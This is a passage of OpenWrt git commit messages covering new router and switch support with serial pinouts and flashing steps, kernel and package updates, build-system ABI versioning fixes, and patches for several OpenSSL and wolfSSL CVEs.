pin-out is (1:TX, 2:RX, 3:GND, 4:3.3V), with pin 1 closest to ETH3.
* Interrupt bootloader by holding '4' during boot, which drops the
bootloader into its shell
* Change default 'serverip' and 'ipaddr' variables (optional)
* Download initramfs with `tftpboot`, and boot image with `bootm`
# tftpboot 84000000 openwrt-initramfs.bin
# bootm
Revert to stock:
Using the tplink-safeloader utility from the firmware-utils package,
TP-Link's firmware image can be converted to an OpenWrt-compatible
sysupgrade image:
$ ./staging_dir/host/bin/tplink-safeloader -B EAP235-WALL-V1 \
-z EAP235-WALLv1_XXX_up_signed.bin -o eap235-sysupgrade.bin
This can then be flashed using the OpenWrt sysupgrade interface. The
image will appear to be incompatible and must be force flashed, without
keeping the current configuration.
Known issues:
- DFS support is incomplete (known issue with MT7613)
- MT7613 radio may stop responding when idling, reboot required.
This was an issue with the ddc75ff704 version of mt76, but appears to
have improved/disappeared with bc3963764d.
Error notice example:
[ 7099.554067] mt7615e 0000:02:00.0: Message 73 (seq 1) timeout
Hardware was kindly provided for porting by Stijn Segers.
Tested-by: Stijn Segers <foss@volatilesystems.org>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
(cherry picked from commit 1e75909a35)
Similarly to the Archer C2 v1, the Archer C20 v1 will brick when one
tries to flash an OpenWrt factory image through the TP-Link web UI.
The wiki page contains an explicit warning about this [1].
Disable the factory image altogether since it serves no purpose.
[1] https://openwrt.org/toh/tp-link/tp-link_archer_c20_v1#installation
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
(cherry picked from commit 0265cba40a)
We can now use the power LED for diag in more devices thanks to the latest
patches from the RPi foundation.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry-picked from commit 5bab472a11)
Support added to bcm2709 (32 bits) and bcm2711 (64 bits).
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry-picked from commit 8ad61118fd)
Ran update_kernel.sh in a fresh clone without any existing toolchains.
No manual changes needed.
Build system: x86_64
Build-tested: bcm27xx/bcm2711
Signed-off-by: John Audia <graysky@archlinux.us>
(cherry-picked from commit 5d3a6fd970)
GetABISuffix does not work for intra-package ABI version of provided symbols,
since ABIV_$(provided) is not set.
Fix ABI version by using $(ABIV_$(1)) directly
Signed-off-by: Felix Fietkau <nbd@nbd.name>
(cherry-picked from commit 0db9d11865)
Hardware
--------
MediaTek MT7622
512MB DDR3 RAM
64M SPI-NOR Flash (Winbond W25Q512JV)
MediaTek MT7622 802.11bgn 4T4R WMAC
MediaTek MT7915 802.11ax 4T4R
Marvell AQR1112 100/1000/2500 NBase-T PHY
Holtek HT32F52241 LED controller
Reset Switch
UART
----
CPU UART0 at the pinout next to the Holtek MCU.
Pinout (first pin next to SoC / MCU)
0 3V3
1 RX
2 TX
3 GND
Settings are 115200 8N1.
Opening the case
----------------
Opening the case is not a nice task, as itis glued together. Insert a
flat knife between the front and back casing below the ethernet port.
Open up a gap this way and insert a flat scredriver, remove the knife.
Work your way around the casing by applying force to seperate the front
and back casing. This losens the glue and opens the plastic clips. Be
gentle, as these clips are very cheap and break quickly.
Installation
------------
1. Connect to the booted device at 192.168.1.20 using username/password
"ubnt".
2. Transfer the OpenWrt sysupgrade image to the device using SCP.
3. Check the mtd partition number for bs / kernel0 / kernel1
$ cat /proc/mtd
4. Set the bootselect flag to boot from kernel0
$ dd if=/dev/zero bs=1 count=1 of=/dev/mtdblock6
5. Write the OpenWrt sysupgrade image to both kernel0 as well as kernel1
$ dd if=openwrt.bin of=/dev/mtdblock8
$ dd if=openwrt.bin of=/dev/mtdblock9
6. Reboot the device. It should boot into OpenWrt.
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit 634c13c186)
Add a driver for controlling the RGB LED via Ubiquitis own "LEDBAR" LED
controller based on the Holtek HT32F52241 MCU.
This driver is initially used by the Ubiquiti UniFi 6 LR, however
judging from FCC pictures the MCU is also found on the U6-Mesh as well
as the U6-Extender.
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit c9137e2ddf)
The USB ports if a FRIZZ!Box 7320 do not supply power to connected
devices.
Add the GPIOs enabling USB power as regulator, to enable USB power
supply as soon as the USB driver is loaded.
Fixes FS#3624
Signed-off-by: Mathias Kresin <dev@kresin.me>
(cherry picked from commit 6e4e97b2256327bb380ee2a83da9a1ddf657e395)
This fixes 4 security vulnerabilities/bugs:
- CVE-2021-2839 - SSLv2 vulnerability. Openssl 1.1.1 does not support
SSLv2, but the affected functions still exist. Considered just a bug.
- CVE-2021-2840 - calls EVP_CipherUpdate, EVP_EncryptUpdate and
EVP_DecryptUpdate may overflow the output length argument in some
cases where the input length is close to the maximum permissable
length for an integer on the platform. In such cases the return value
from the function call will be 1 (indicating success), but the output
length value will be negative.
- CVE-2021-2841 - The X509_issuer_and_serial_hash() function attempts to
create a unique hash value based on the issuer and serial number data
contained within an X509 certificate. However it was failing to
correctly handle any errors that may occur while parsing the issuer
field (which might occur if the issuer field is maliciously
constructed). This may subsequently result in a NULL pointer deref and
a crash leading to a potential denial of service attack.
- Fixed SRP_Calc_client_key so that it runs in constant time. This could
be exploited in a side channel attack to recover the password.
The 3 CVEs above are currently awaiting analysis.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
(cherry picked from commit 482c9ff289)
File extension was truncated for
pending-5.4/770-11-net-ethernet-mtk_eth_soc-avoid-rearming-interrupt-if.pa
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 487b7ae5eb)
After the ABI version rework, packages need to be declared in the order of
their dependencies, so that dependent packages will use the right ABI version
Signed-off-by: Felix Fietkau <nbd@nbd.name>
(cherry-picked from commit 75455b75a7ee)
Let's switch to 5.10 now that mac80211 has been updated.
Runtime-tested on ipq806x (Netgear R7800).
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry-picked from commit a5c4c40476)
After the ABI version rework, packages need to be declared in the order of
their dependencies, so that dependent packages will use the right ABI version
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This was accidentally dropped in 27a4a71c24
("metadata: handle ABI version rebuild tracking for transient dependencies")
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This reverts commit b12288fa69.
The patchelf approach is too fragile, and the only users of this have been
converted to make patching unnecessary
Leave the abi_version_str variable in place in rules.mk
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This adds quirks support to the "ofpart" parser. It's required to
support fixed partitions that require some extra logic.
Right now only BCM4908 binding is supported (BCM4908 requires detecting
currently used "firmware" partition).
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
The intention is for the loop to timeout if the body does not succeed.
The current logic calls time_is_before_jiffies(timeout) which is false
until after the timeout, so the loop body never executes.
time_is_after_jiffies(timeout) will return true until timeout is less
than jiffies, which is the intended behavior here.
Signed-off-by: Ilya Lipnitskiy <ilya.lipnitskiy@gmail.com>
Automatically setup dhcpv4 server just like it's done for dhcpv6.
To select whether odhcpd or dnsmasq are serving DHCPv4 requests there
still is the 'maindhcp' option. To make things less confusing, make
sure things really work out-of-the-box in case dnsmasq is not even
installed at the time the uci-defaults script is being run.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This fixes the build on MIPS BE like ath25 and ath79 target.
We get this error message when linking libwolfssl:
mips-openwrt-linux-musl/bin/ld: /home/hauke/openwrt/openwrt/staging_dir/target-mips_mips32_musl/usr/lib/libwolfssl.so: unknown type [0x7000002a] section `.MIPS.abiflags'
mips-openwrt-linux-musl/bin/ld: /home/hauke/openwrt/openwrt/staging_dir/target-mips_mips32_musl/usr/lib/libwolfssl.so: unknown type [0x7000002a] section `.MIPS.abiflags'
mips-openwrt-linux-musl/bin/ld: skipping incompatible /home/hauke/openwrt/openwrt/staging_dir/target-mips_mips32_musl/usr/lib/libwolfssl.so when searching for -lwolfssl
mips-openwrt-linux-musl/bin/ld: cannot find -lwolfssl
collect2: error: ld returned 1 exit status
This reverts commit 2591c83b34.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This fixes the build on MIPS BE like ath25 and ath79 target.
We get this error message when linking libubox:
mips-openwrt-linux-musl/bin/ld: /home/hauke/openwrt/openwrt/staging_dir/target-mips_mips32_musl/usr/lib/libubox.so: unknown type [0x7000002a] section `.MIPS.abiflags'
mips-openwrt-linux-musl/bin/ld: /home/hauke/openwrt/openwrt/staging_dir/target-mips_mips32_musl/usr/lib/libubox.so: unknown type [0x7000002a] section `.MIPS.abiflags'
mips-openwrt-linux-musl/bin/ld: skipping incompatible /home/hauke/openwrt/openwrt/staging_dir/target-mips_mips32_musl/usr/lib/libubox.so when searching for -lubox
This reverts commit f421fefa8a.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The Netgear EX6150 has an Access Point/Extender switch. Set it as
an EV_SW. Otherwise when it's set to Access Point, it will trigger
failsafe mode during boot.
Fixes: FS#3590
Signed-off-by: Kurt Roeckx <kurt@roeckx.be>
This reverts commit 4968fc8fb1 as the bump
to v2021.01 needs swig on the host for pylibfdt which is needed by dtoc
tool to generate .h/.c files from DTBs in SPL for mx6cuboxi_config.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This reverts commit 50a5a8993d as the bump
to 2021.01 unveiled issue with missing swig host tool needed for
mx6cuboxi's SPL.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The SDK and target/toolchain copy the license file into their
directories. During the rename/move from LICENSE to a LICENSES
folder, this has not been updated.
Update it now, and include the new COPYING file.
While at it, improve formatting/indent.
Fixes: 882e301461 ("LICENSES: include all used licenses in
LICENSES directory")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When transmitting to a receiver in dynamic SMPS mode, all transmissions that
use multiple spatial streams need to be sent using CTS-to-self or RTS/CTS to
give the receiver's extra chains some time to wake up.
This fixes the tx rate getting stuck at <= MCS7 for some clients, especially
Intel ones, which make aggressive use of SMPS.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Preparation for supporting dynamic ABI versions that depend on the runtime
configuration. Read the suffix from the staging dir pkginfo version files.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This makes it possible to declare a package ABI_VERSION independent from the
upstream soname by setting PKG_ABI_VERSION in the package makefile.
The library filename is fixed up for files installed to packages and to the
staging dir. References to the original from executables within the same
package are also fixed up
Signed-off-by: Felix Fietkau <nbd@nbd.name>
A stray comma was being appended to the last package version dependency,
causing it to be missed for ABI version checks
Signed-off-by: Felix Fietkau <nbd@nbd.name>
On hardware that supports this, this will improve performance by passing
802.3 frames from the hardware to the stack
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Fix license information.
Fix wrong ABI version. The library is versioned as libnftnl.so.11.4.0
Add PKG_BUILD_PARALLEL for faster compilation.
Remove autoreconf as nothing is being patched.
Minor cleanups for consistency between packages.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Since multiple licenses are provided now in the LICENSES folder,
add a COPYING file to specify the project license.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Paul Spooren <mail@aparcar.org>
As multiple LICENSES are shipped and no longer just LICENSE, modify the
OpenWrt tree detection in checkpatch.pl.
Signed-off-by: Paul Spooren <mail@aparcar.org>
OpenWrt ships code not only licensed via GPL-2.0-{only,or-later}.
Reflect that by adding the missing licenses, just like the kernel
does.
This patch takes the license text as it is found in the Linux
kernel, which might probably be the best common denominator here.
In contrast to the kernel versions, only some changes to the
valid and recommended identifiers were made (GPL-x.x+ vs.
GPL-x.x-or-later and similar).
Suggested-by: Paul Spooren <mail@aparcar.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The factory images need to embed specific IDs to pass verification with
the OEM firmware (including TFTP recovery), so they need to be
per-device variables.
Fixes: ab1584a797 ("ath79: netgear: trim down uImage customisations")
Fixes: 459c8c9ef8 ("ath79: add support for ZyXEL NBG6616")
Reported-by: Marcin Juszkiewicz <marcin-openwrt@juszkiewicz.com.pl>
Signed-off-by: Paul Fertser <fercerpav@gmail.com>
[minor commit message adjustments, sort DEVICE_VARS]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The first two are useless as /bin/sh can execute those scripts just
fine. Shellcheck reports no problems.
Telnetd patch is useless as telnet is no longer used in OpenWrt.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Remove stime backport.
Remove static libgcc patch as upstream fixed it with
BUSYBOX_DEFAULT_STATIC_LIBGCC which defauls to off.
Remove date -k patch as it no longer applies. It's also pointless as
busybox' hwclock utility can do the same thing.
Remove ntpd patch as that seems to have been applied upstream.
Add smalll patch fixing compilation with SELinux. Upstream commit
2496616b0a8d1c80cd1416b73a4847b59b9f969a renamed the variable without
renaming it in the SELinux path.
Refresh config and patches.
Config refresh:
Refresh commands, run after busybox is first built once:
cd package/utils/busybox/config/
../convert_menuconfig.pl ../../../../build_dir/target-mips_24kc_musl/busybox-default/busybox-1.33.0
cd ..
./convert_defaults.pl < ../../../build_dir/target-mips_24kc_musl/busybox-default/busybox-1.33.0/.config > Config-defaults.in
Manual edits needed afterward:
* Config-defaults.in: OpenWrt config symbol IPV6 logic applied to
BUSYBOX_DEFAULT_FEATURE_IPV6
* Config-defaults.in: OpenWrt configTARGET_bcm53xx logic applied to
BUSYBOX_DEFAULT_TRUNCATE (commit 547f1ec)
* editors/Config.in: Add USE_GLIBC dependency to
BUSYBOX_CONFIG_FEATURE_VI_REGEX_SEARCH (commit f141090)
* shell/Config.in : change at "Options common to all shells" the symbol
SHELL_ASH --> BUSYBOX_CONFIG_SHELL_ASH
(discussion in http://lists.openwrt.org/pipermail/openwrt-devel/2021-January/033140.html
Apparently our script does not see the hidden option while
prepending config options with "BUSYBOX_CONFIG_" which leads to a
missed dependency when the options are later evaluated.)
* Edit Config.in files by adding quotes to sourced items in
config/Config.in, networking/Config.in and util-linux/Config.in (commit 1da014f)
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
[Added comments from Hannu Nyman to commit message]
Signed-off-by: Rosen Penev <rosenp@gmail.com>
The date -k patch is non standard and will be removed in the next
commit.
Tested behavior to be identical with a simple C program:
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/syscall.h>
int main()
{
struct timezone tt;
struct timezone tz;
int a = syscall(SYS_gettimeofday, NULL, &tt);
int b = gettimeofday(NULL, &tz);
printf("%d - %d, %d\n", a, tt.tz_minuteswest, tt.tz_dsttime);
printf("%d - %d, %d\n", b, tz.tz_minuteswest, tz.tz_dsttime);
}
Signed-off-by: Rosen Penev <rosenp@gmail.com>
The removed patches were applied upstream.
This adapts ath10k-ct and mt76 to changed APIs.
nl80211.h in iw is updated to match the version from backports.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The removed patches were applied upstream.
Remove the 300-mac80211-optimize-skb-resizing.patch.
This patch was not applied upstream, but it conflicts with upstream
changes and needs bigger changes. It was applied with Felix to remove
this patch for now. It should be reworked and then send upstream later.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
There are proper workarounds merged to 5.4 stable tree for ESPRESSObin
boards with older bootloader:
4e1a23779bde ("ata: ahci: mvebu: Make SATA PHY optional for Armada 3720")
40af962eb1d4 ("usb: host: xhci: mvebu: make USB 3.0 PHY optional for
Armada 3720")
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
The bootloader of a number of recent TP-Link devices does not properly
initialise the MT7621's internal switch when booting from flash. To
enable the mt7530 driver to clear the reset on the switch, the ramips
reset controller must be allowed to toggle these.
Backport upstream commit 3f9ef7785a9c from mips-next to allow control of
the "mcm" reset line.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Upstream in commit 8b9c0cb46471 ("apalis_imx6: boot env configuration
updates") removed emmc legacy wrappers, but so far didn't included any
replacements. Fix it by simply defining the missing variables and UUID
gathering directly into the boot script.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Refreshed all patches, removed 110-mx6cuboxi-mmc-fallback.patch as it
seems, that upstream has probably added similar funcionality in commit
6c3fbf3e456c ("mx6cuboxi: customize board_boot_order to access eMMC")
and it needs to be re-verified by device owner.
Run tested on apalis.
Cc: Felix Fietkau <nbd@nbd.name>
Cc: Vladimir Vid <vladimir.vid@sartura.hr>
Cc: Tim Harvey <tharvey@gateworks.com>
Cc: Koen Vandeputte <koen.vandeputte@ncentric.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Our patch refresh tool creates quite a big diff for these patches,
as it does not use rename syntax.
Push the refresh separately so it does not pollute the next kernel
bump. This is a purely cosmetic change.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The original setup fails to trigger ART calibration data
extraction for the AR9287. Instead, it would only have extracted
calibration data for an internal WMAC chip which is not present on
this board.
Fixes: 55d2db0e8c ("ath79: add support for Meraki MR12")
Signed-off-by: Martin Kennedy <hurricos@gmail.com>
[commit title/message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Initial commit 8375623a06 ("ramips: add support for TP-Link Archer
C2") contains detailed installation instructions, which do not mention
a factory image. From what I can see, no support to install OpenWrt
through the vendor web interface has been added since. The factory
image is also conspicuously absent from the device page in the wiki.
Yet, it is available for download.
I bricked my Archer C2 loading the factory image through the web UI.
Serial showed this error during bootloop:
Uncompressing Kernel Image ... LZMA ERROR 1 - must RESET board to recover
This patch disables the undocumented factory image so users won't get
tricked into thinking easy web UI flashing actually works.
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
The version string generated for ARM Trusted-Firmware-A was stated as
"OpenWRT". Fix that by changing it to the exact spelling "OpenWrt"
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
5a2dd18 iwinfo: add hardware description for MediaTek MT7622
4a32b33 iwinfo: add PCI ID for MediaTek MT7613BE
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This patch is required to be able to roam from one backhaul AP to
another one in the same ESS.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
(daniel@makrotopia.org: PKG_REVISION bump and refreshed patches)
Signed-off-by: Raphaël Mélotte <raphael.melotte@mind.be>
c5e3545897 tunables: Disallow negative values for some tunables
905fdc7071 x86: Use SIZE_MAX instead of (long int)-1 for tunable range value
15afd6b8d8 tunables: Simplify TUNABLE_SET interface
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
The Netgear GS108T v3 is an 8 port gigabit switch with PoE-PD support
on port 1. The two prior versions were built using eCos and are not
currently compatible with OpenWRT.
The GS108T v3 is quite similar to both the GS110TPP v1 and GS110TP v3,
all of which use the same firmware image from Netgear. For this reason,
the device tree is identical aside from the model and compatible values.
All of the above feature a dual firmware layout, referred to as Image0
and Image1 in the Netgear firmware.
Hardware specification
----------------------
* RTL8380M SoC, 1 MIPS 4KEc core @ 500MHz
* 128MB DDR3-1600 DRAM (Winbond W631GG8MB-12)
* 32MB 3v NOR SPI Flash (Macronix MX25L25635F or Winbond W25Q256JVFIQ)
* RTL8231 GPIO extender to control the LEDs and the reset button
* 8 x 10/100/1000BASE-T ports, internal PHY (RTL8218B)
* UART (115200 8N1) via unpopulated standard 0.1" pin header marked J1
* Power is supplied via a 12V 1A barrel connector or 802.3af
UART pinout
-----------
J1 | [o]ooo
^ ||`------ GND
| |`------- RX [TX out of the serial adapter]
| `-------- TX [RX into the serial adapter]
`---------- Vcc (3V3) [the square pin]
The through holes are filled with PB-free solder which melts at 375C.
They can also be drilled using a 0.9mm bit.
Build configuration
-------------------
* Target System: Realtek MIPS
* Target Profile: Netgear GS108T v3
* Target Images -> ramdisk -> Compression: lzma
* Disable other target images
Boot initramfs image from U-Boot
--------------------------------
1. Press the Escape key at the `Hit Esc key to stop autoboot` prompt
2. Init network with `rtk network on` command
3. Load image with `tftpboot 0x8f000000 openwrt-realtek-generic-netgear_gs108t-v3-initramfs-kernel.bin` command
4. Boot the image with `bootm` command
The switch defaults to IP 192.168.1.1 and tries to fetch the image via
TFTP from 192.168.1.111.
Updating the installed firmware
-------------------------------
The OpenWRT ramdisk image can be flashed directly from the Netgear UI.
The Image0 slot should be used in order to enable sysupgrade.
As with similar switches, changing the active boot partition can be
accomplished in U-Boot as follows:
1. Press the Escape key at the `Hit Esc key to stop autoboot` prompt
2. Run `setsys bootpartition {0|1}` to select the boot partition
3. Run `savesys` followed by `boota` to proceed with the boot process
Signed-off-by: Michael Mohr <akihana@gmail.com>
Move most of the GS110TPP v1 device tree into a dtsi so that it can be
shared with the GS108T v3. Additionally:
* Use macros to simplify the ethernet and switch definitions
* Zero-pad the offsets and sizes in the partition map to 8 digits each
The spi-max-frequency value has been changed from 10MHz to 50MHz based
on an analysis of the relevant datasheets. The current driver doesn't
use this property, as the clock speed is fixed. However, it's required
for this type of DT node, so that's why it's present here.
The firmware partition has been split in half, since this is how the
stock firmware uses it. This can be used to easily revert to a stock
firmware if one is written to the second image area.
Signed-off-by: Michael Mohr <akihana@gmail.com>
The netgear_nge device will be shared between the GS108T v3 (to be added
in a later commit) and the GS110PP v1. It also enables LZMA compression
for the ramdisk image.
Signed-off-by: Michael Mohr <akihana@gmail.com>
This patch allows other applications to get events management
frames (for example: association requests).
This is useful in Multi-AP context to be able to save association
requests from stations.
It has been sent to upstream hostapd in this series:
https://patchwork.ozlabs.org/project/hostap/list/?series=217500
'700-wifi-reload.patch' is updated due to the introduction of
'110-notify-mgmt-frames.patch'.
Signed-off-by: Raphaël Mélotte <raphael.melotte@mind.be>
After looking at various vendor GPL source code dumps I discovered that some
of them contain updated versions of ltq-ptm driver when compared to what
openwrt has.
The driver update is mostly cursory (simple changes to comments, whitespace,
formatting etc.) or adds debug features not used by openwrt.
However the updated driver also contains a later version of PTM firmware which
is extracted and included in this commit along with bits to correctly identify
its version when driver loads.
Signed-off-by: Antti Seppälä <a.seppala@gmail.com>
The TP-Link TL-WR810N v1 is known to cause soft-brick on ath79 and
work fine for ar71xx [1]. On closer inspection, the only apparent
difference is the GPIO used for the USB regulator, which deviates
between the two targets.
This applies the value from ar71xx to ath79.
Tested successfully by a forum user.
[1] https://forum.openwrt.org/t/tp-link-tl-wr810n-v1-ath79/48267
Fixes: cdbf2de777 ("ath79: Add support for TP-Link WR810N")
Fixes: FS#3522
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The 'bromimage' tool which is used to wrap bl2 with a MediaTek-specific
header is distributed in binary form only and unfortunately tries to
dynamically link against libopenssl, which fails on the buildbots.
Wait for MTK to provide a at least static executable instead, in the
meantime, mark the package as broken.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
HOST_CFLAGS were ignored as they were passed on incorrectly which lead
to build failure if OpenSSL wasn't present on the build host.
Fix that by properly passing HOST_CFLAGS when building each tool.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This should fix CVE-2021-3336:
DoTls13CertificateVerify in tls13.c in wolfSSL through 4.6.0 does not
cease processing for certain anomalous peer behavior (sending an
ED22519, ED448, ECC, or RSA signature without the corresponding
certificate).
The patch is backported from the upstream wolfssl development branch.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Specifications:
- SoC: MediaTek MT7621AT
- RAM: 128 MB (DDR3)
- Flash: 16 MB (SPI NOR)
- WiFi: MediaTek MT7603E, MediaTek MT7612E
- Switch: 1 WAN, 4 LAN (Gigabit)
- Ports: 1 USB 3.0
- Buttons: Reset, WPS
- LEDs: Power, System, Wan, Lan 1-4, WiFi 2.4G, WiFi 5G, WPS, USB
- Power: DC 12V 1A tip positive
UART Serial:
115200 baud
Located on unpopulated 4 pin header near J4:
J4
[o] Rx
[o] Tx
[o] GND
[ ] Vcc - Do not connect
Installation:
Download and flash the manufacturer's built OpenWRT image available at
http://www.cudytech.com/openwrt_software_download
Install the new OpenWRT image via luci (System -> Backup/Flash firmware)
Be sure to NOT keep settings. The force upgrade may need to be checked
due to differences in router naming conventions.
Recovery:
- Loads only signed manufacture firmware due to bootloader RSA verification
- serve tftp-recovery image as /recovery.bin on 192.168.1.88/24
- connect to any lan ethernet port
- power on the device while holding the reset button
- wait at least 8 seconds before releasing reset button for image to
download
- See http://www.cudytech.com/newsinfo/547425.html
MAC addresses as verified by OEM firmware:
use address source
LAN *:f0 label
WAN *:f1 label + 1
2g *:f0 label
5g *:f2 label + 2
The label MAC address is found in bdinfo 0xde00.
Signed-off-by: Andrew Pikler <andrew.pikler@gmail.com>
Specifications:
* QCA9557, 16 MiB Flash, 128 MiB RAM, 802.11n 2T2R
* QCA9882, 802.11ac 2T2R
* 2x Gigabit LAN (1x 802.11af PoE)
* IP68 pole-mountable outdoor case
Installation:
* Factory Web UI is at 192.168.0.50
login with 'admin' and blank password, flash factory.bin
* Recovery Web UI is at 192.168.0.50
connect network cable, hold reset button during power-on and keep it
pressed until uploading has started (only required when checksum is ok,
e.g. for reverting back to oem firmware), flash factory.bin
After flashing factory.bin, additional free space can be reclaimed by
flashing sysupgrade.bin, since the factory image requires some padding
to be accepted for upgrading via OEM Web UI.
Both ethernet ports are set to LAN by default, matching the labelling on
the case. However, since both GMAC Interfaces eth0 and eth1 are connected
to the switch (QCA8337), the user may create an additional 'wan' interface
as desired and override the vlan id settings to map br-lan / wan to either
the PoE or non-PoE port, depending on the individual scenario of use.
So, the LAN and WAN ports would then be connected to different GMACs, e.g.
config interface 'lan'
option ifname 'eth0.1'
...
config interface 'wan'
option ifname 'eth1.2'
...
config switch_vlan
option device 'switch0'
option vlan '1'
option ports '1 0t'
config switch_vlan
option device 'switch0'
option vlan '2'
option ports '2 6t'
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
[add configuration example]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* The fit image is now created with 0666 permission in upstream U-Boot
remove our patch switch creates it with 0744
* The generated/autoconf.h file is created now as an empty file, it is
not needed to remove this include any more.
* Upstream lib/rsa/rsa-sign.c now includes stdlib.h instead of malloc.h
* ALIGN_MASK was moved to imagetool.h, own patch should not be needed
any more.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
luci now uses ubus directly, so remove 'lucistat'.
For manual usage just print the ubus output, use luci for a pretty
version.
Signed-off-by: Andre Heider <a.heider@gmail.com>
luci now uses ubus directly, so remove 'lucistat'.
For manual usage just print the ubus output, use luci for a pretty
version.
Signed-off-by: Andre Heider <a.heider@gmail.com>
Tested-by: Martin Schiller <ms@dev.tdt.de>
procd sends sigterm to stop daemons, hook it up.
This speeds up the shutdown sequence and gets rid of the following message:
daemon.info procd: Instance dsl_control::instance1 pid 15408 not stopped on SIGTERM, sending SIGKILL instead
Signed-off-by: Andre Heider <a.heider@gmail.com>
Tested-by: Martin Schiller <ms@dev.tdt.de>
Have the port use GMAC1 with internal switch
which fixes the issue of the ethernet LED not functioning
The LED is triggered by the internal switch, not a GPIO.
The GPIO for the ethernet LED was added in ath79
as it was defined in the ar71xx target
but it was not functioning in ath79 for a previously unknown reason.
It is unknown why that GPIO was defined as an LED in ar71xx.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
[drop unrelated changes: model property and SPI max frequency]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
for:
- ENH202 v1
- ENS202EXT v1
- EnstationAC v1
- EWS511AP
For EWS511AP, have default behavior as static ip
to match the behavior of all other APs in ath79
These boards are sold as
Client Bridge or Point to Point or Access Point
so there is probably no benefit to have WAN by default
for one of the ports, to prevent user confusion.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
dnsmasq v2.84rc2 has been promoted to release.
No functional difference between v2.83test3 and v2.84/v2.84rc2
Backport 2 patches to fix the version reporting
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Use new ubus-based hotplug call in dhcp-script.sh
As sysntpd now makes use of the new ubus-based hotplug calls, dnsmasq
no longer needs to ship ACL to cover ntpd-hotplug.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
erley.org no longer exists; attempting to connect to it during package
download results in lengthy timeouts. Use the new OpenWrt CDN alias to
download from reliable OpenWrt mirrors.
Signed-off-by: Ilya Lipnitskiy <ilya.lipnitskiy@gmail.com>
While the latest version of 19.07 release is usable,
the current master is unbootable on the device in a normal way.
"Normal way" installations includes:
- sysupgrade (e.g. from 19.07)
- RESET button recovery with Ron Curry's (Wingspinner) UBoot image
(10.10.10.3 + "Kernal.bin")
- RESET button recovery with original U-Boot
(10.10.10.254 + "kernel")
One could flash and boot the latest master sysupgrade image successfully
with serial access to the device. But a sysupgrade from this state still
breaks the U-Boot and soft-bricks the device.
Signed-off-by: Szabolcs Hubai <szab.hu@gmail.com>
shellcheck recommends || and && over "-a" and "-o" because the
latter are not well defined.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The hardware random number generator driver for bcm63xx was merged with
the one used by the Raspberry Pi. Now this driver is lost.
Reenable the HW_RANDOM kernel config with the new driver.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
[refresh kernel config]
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Multiple sources are hosted on OpenWrts source server only. The source
URLs to point to the server vary based on different epochs in OpenWrts
history.
Replace all by @OPENWRT which is an "empty" mirror, therefore using the
fallback servers sources.cdn.openwrt.org and sources.openwrt.org.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Instead of taking the input of one temperature sensor (temp1), the
script takes into account three temperature sensors to control the
PWM of the cooling fan.
temp1 -> placed on main board
temp2 -> placed on main board
temp3 -> placed on or close to chipset
All three temperatures give valid input for the PWM of the fan on
NSA310 and are actually changing.
Tested on two NSA310.
Signed-off-by: Thomas Beckler <thomas.beckler@hotmail.com>
Reviewed-by: Alberto Bursi <bobafetthotmail@gmail.com>
[commit title/message facelift, code cleanup]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
